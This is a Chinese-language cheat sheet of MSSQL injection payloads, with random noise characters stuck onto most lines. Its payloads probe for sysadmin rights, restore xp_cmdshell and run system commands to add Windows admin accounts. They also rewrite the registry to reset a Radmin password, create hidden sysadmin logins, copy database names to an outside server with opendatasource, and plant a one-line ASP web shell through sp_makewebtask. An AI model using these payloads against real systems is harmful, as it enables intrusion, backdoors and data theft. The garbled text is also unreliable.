//看看是什么权限的
5 W/ E! Z' N+ R5 |and 1=(Select IS_MEMBER('db_owner'))! E5 a5 D/ O: m9 T
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--0 s* [+ C% g6 S' s$ a
$ X8 k8 I. W6 z6 T/ v: D5 J//检测是否有读取某数据库的权限! Q$ s3 t. Q! Q- I" u" G
and 1= (Select HAS_DBACCESS('master'))- Q8 s! x$ T0 w' C5 b
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
. |. z, C a7 b
9 i+ z' F8 }: n# k4 c4 d& r+ e/ Q7 L" ^0 S5 ^
数字类型5 {$ Q0 _5 N+ G
and char(124)%2Buser%2Bchar(124)=0) M% {: `4 k% i9 v7 T- H! \4 i9 V
1 q0 {& s; O6 a- I
字符类型
1 c* j5 |& G. C" b1 @' and char(124)%2Buser%2Bchar(124)=0 and ''='# p6 ?5 a: n7 A4 I e7 N
6 {8 ~% g, I" s8 ^6 |& {搜索类型" }0 Q* u! x8 f. Q7 F& @: D o8 k
' and char(124)%2Buser%2Bchar(124)=0 and '%'='9 {. O: |* Z: E( z. |& _
& o1 h f+ m+ M" @2 U
爆用户名
: h: L+ V! f' L# R- B4 G; L3 ^and user>0" [ g, F0 I/ N7 E; `
' and user>0 and ''='
6 E9 ]: H" y% H' v& F$ B$ P! c* l) O7 g8 j0 H% a1 Q& \
检测是否为SA权限/ S- k- W! B& T# M1 B8 e
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--: ?4 G8 f( D* o, t B& V
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
0 }7 D+ O# W0 p* Y, N; J
$ H& r; T0 r8 Y3 w/ E7 @检测是不是MSSQL数据库6 K1 L9 u3 { f4 f6 D
and exists (select * from sysobjects);--
7 ^/ ^ ]3 W6 p! ]2 w! i1 x8 y E" x! O x* g8 Z# Y' H: c0 D
检测是否支持多行1 v+ D$ X& v5 D, t& h* S1 V5 T: R
;declare @d int;--, p$ d( O8 R0 K* U5 P K
: m* h6 d9 ]; D' F# x+ @+ u& d( g! e恢复 xp_cmdshell
r% ` [! I, v ^;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
3 [0 O/ T6 c ?5 [
' d7 ?& O' h, ^ n% O/ d. Q
3 K$ ], b5 u# h$ Z% s4 zselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')" O: K9 @3 _9 J6 @2 ^
4 O5 o6 P0 V ~: I8 c7 e
//-----------------------
# H" F U9 B7 o// 执行命令. u5 h+ R0 _: B: ]. D, y
//-----------------------! C# `6 \+ @7 J1 I) u1 J
首先开启沙盘模式:
3 y4 z: r- @* ~; `# \0 t2 Z5 jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
$ Y9 Z; s+ S' U) }$ q. g( d/ p4 Y7 t9 o' i- [7 I+ n
然后利用jet.oledb执行系统命令
b" g% R4 O) `1 E Tselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
* o: B- S3 O) b$ r9 }' z0 W* w6 _5 G, J
执行命令
$ X! ^% c9 E4 c' |4 E* v;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
- C+ `3 {9 w+ Z
; \8 ^$ T) n3 s0 v0 d8 P2 bEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
' n/ u4 z6 ~" f0 j6 J# I4 T3 e& |9 G. U. [ O% g/ a
判断xp_cmdshell扩展存储过程是否存在:
: K# E- D- {8 q" e# Z2 ^. }: Yhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
O/ p: [3 ?4 R ]/ U- ~) Z
0 P* c8 f3 n- T' X写注册表
! P. q0 u$ z, [$ ]exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',13 b6 _; t( ]: I: B" u; I! H
1 J! L+ A# H# y( `: J m, f* W! A4 y
REG_SZ3 W) b7 z/ U0 f3 T0 a
' W- Q. a* v* @1 v$ C+ P) G/ A# `读注册表
) Y9 Q, X) V: O$ t4 Gexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
. P9 n* e/ Y n( A# o& ]* K
5 Z0 f1 e9 Y8 A9 @. g读取目录内容
. W/ K* ~. N. vexec master..xp_dirtree 'c:\winnt\system32\',1,1, h L: d" T( X0 Z1 ^, v' y
$ ^8 X8 T5 V; j4 ]9 r1 X
/ k ~ k7 O1 h; j+ F7 `
数据库备份 B0 R9 S/ E" i" L/ g
backup database pubs to disk = 'c:\123.bak'
) R$ X- V; }1 j1 P" {; N, C" g
0 `% Y; [# o2 [2 {3 O$ n//爆出长度# [ E; Y7 T$ R
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--/ V4 I# o. ?" d: T: F
9 E1 P0 \# f6 H
( P, m" S! i" m4 P. h
2 V* `% s( G6 H5 G! g' e更改sa口令方法:用sql综合利用工具连接后,执行命令:
) G+ ~+ j0 ~8 M/ i' N/ |exec sp_password NULL,'新密码','sa'
9 P1 _2 T# ^: ?: K6 |
# c5 H4 O, G9 R6 @添加和删除一个SA权限的用户test:
4 a( A% w6 w: t! Hexec master.dbo.sp_addlogin test,9530772
- f% [7 b, I2 G% Eexec master.dbo.sp_addsrvrolemember test,sysadmin
i1 v" x7 P- Q; k- U1 y) Q. |- T; w7 E# N
删除扩展存储过过程xp_cmdshell的语句:+ h# `; X5 m6 N7 ]5 K+ O
exec sp_dropextendedproc 'xp_cmdshell'
0 J0 @- z9 C7 s" T
T' h: n' X6 q* _; I/ l' _添加扩展存储过过程
6 k7 s& w& J0 X9 QEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
4 e2 V* t: g L" [; t! BGRANT exec On xp_proxiedadata TO public7 R& }$ t& ]9 {/ e; p+ p
8 ~) \( G2 I5 r8 N
, e+ Y5 q4 k4 [
停掉或激活某个服务。$ Q; F: E1 v2 A; k/ ~$ R' o. I
5 C# z9 f$ t$ t5 _# o
exec master..xp_servicecontrol 'stop','schedule'
8 \" b% y9 @: d# ^& g; O5 l8 {" mexec master..xp_servicecontrol 'start','schedule'4 ?8 h7 ~" `# J2 p- Q, g6 t
) s4 Z! |: h3 I& g5 U7 h3 ]dbo.xp_subdirs1 H: D; D) V8 O5 T
) {! P7 D8 d# U% N/ A2 E! Z只列某个目录下的子目录。
% T, i, z8 |# `) A6 r8 _xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
9 K I. y! H/ ~, U$ _, f5 d& Q! H7 Y4 j$ S9 a
dbo.xp_makecab
+ g4 r# F9 m. T$ v, n6 `) B7 ?1 Y# A$ V6 b. I& `0 u( ?' U
将目标多个档案压缩到某个目标档案之内。
8 a' r+ {. }2 t6 c1 O6 Q+ a所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。8 W7 j4 G2 D$ n6 w( M% ?
' I2 _, B0 n& O. C
dbo.xp_makecab
: \/ t/ r( U C8 B! {4 |* T" G# W8 E'c:\test.cab','mszip',1,
( C5 A$ K$ w7 |7 H" j: D$ ]'C:\Inetpub\wwwroot\SQLInject\login.asp',
) J0 e* D; `9 S* M- h% C" Q5 ]+ |' g'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'/ ^5 y9 _. d5 n- \0 @
$ K/ {4 T2 c- y; A) h0 s1 A
xp_terminate_process/ K! E% h. |0 [( z
5 g' V t5 n9 g1 v0 Z停掉某个执行中的程序,但赋予的参数是 Process ID。
( v/ |+ a% m+ }/ y& R9 F" G利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID) R- u$ m, h4 g1 b8 B
! G8 T' k$ V/ j0 S' o: oxp_terminate_process 2484. b2 m" V; r1 ~# \1 O
/ w; l8 ~4 L, l9 ]- ]xp_unpackcab
. B6 g. i: b$ A! A) u, J3 E# Q" _6 k: R' V) o
T# V: l$ K8 }5 H5 O; A3 g6 t7 d% n解开压缩档。9 }3 d: a4 Z Q+ [6 Z; h7 Z4 a$ R7 D
: f6 ?6 _3 W5 y" ^; dxp_unpackcab 'c:\test.cab','c:\temp',1% T, T! n) ]9 {! A
+ E5 |0 x' s" g. V. [9 K$ p; P- w$ B7 ?2 a3 T A9 I& w8 a
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
6 u6 B0 y' I0 c0 r7 I# K, [# E; J& d W5 |5 b( e/ |
create database lcx;+ M0 `, g7 b( s% W
Create TABLE ku(name nvarchar(256) null);- I# y8 k; w) N
Create TABLE biao(id int NULL,name nvarchar(256) null);1 ~% g6 x! N5 [! ~- `+ o, ~
0 d% t8 E+ i9 c- o. J# Q
//得到数据库名: [: S4 Q5 b z E3 E: I, W: r$ H
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
% D4 v! T0 y+ }! u; N4 T; C& E1 e
' f: Q. L% }) L, Z
//在Master中创建表,看看权限怎样* A1 H `: S% p5 h
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--9 N( R0 T/ j5 Z. N! x, H# i) d
( a4 o. i& l+ C3 B% D/ _用 sp_makewebtask直接在web目录里写入一句话马:5 Y" J( U8 H2 L8 t
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--2 J+ @, x: N, O Y4 o4 h
4 W6 |1 D) K/ d& T* |//更新表内容
' K) h$ g. ^8 mUpdate films SET kind = 'Dramatic' Where id = 123! R& V' U( H' q5 {! }. s1 m
) R6 P) _' n# k//删除内容
* l/ f) ^/ ? \8 s- gdelete from table_name where Stockid = 3 |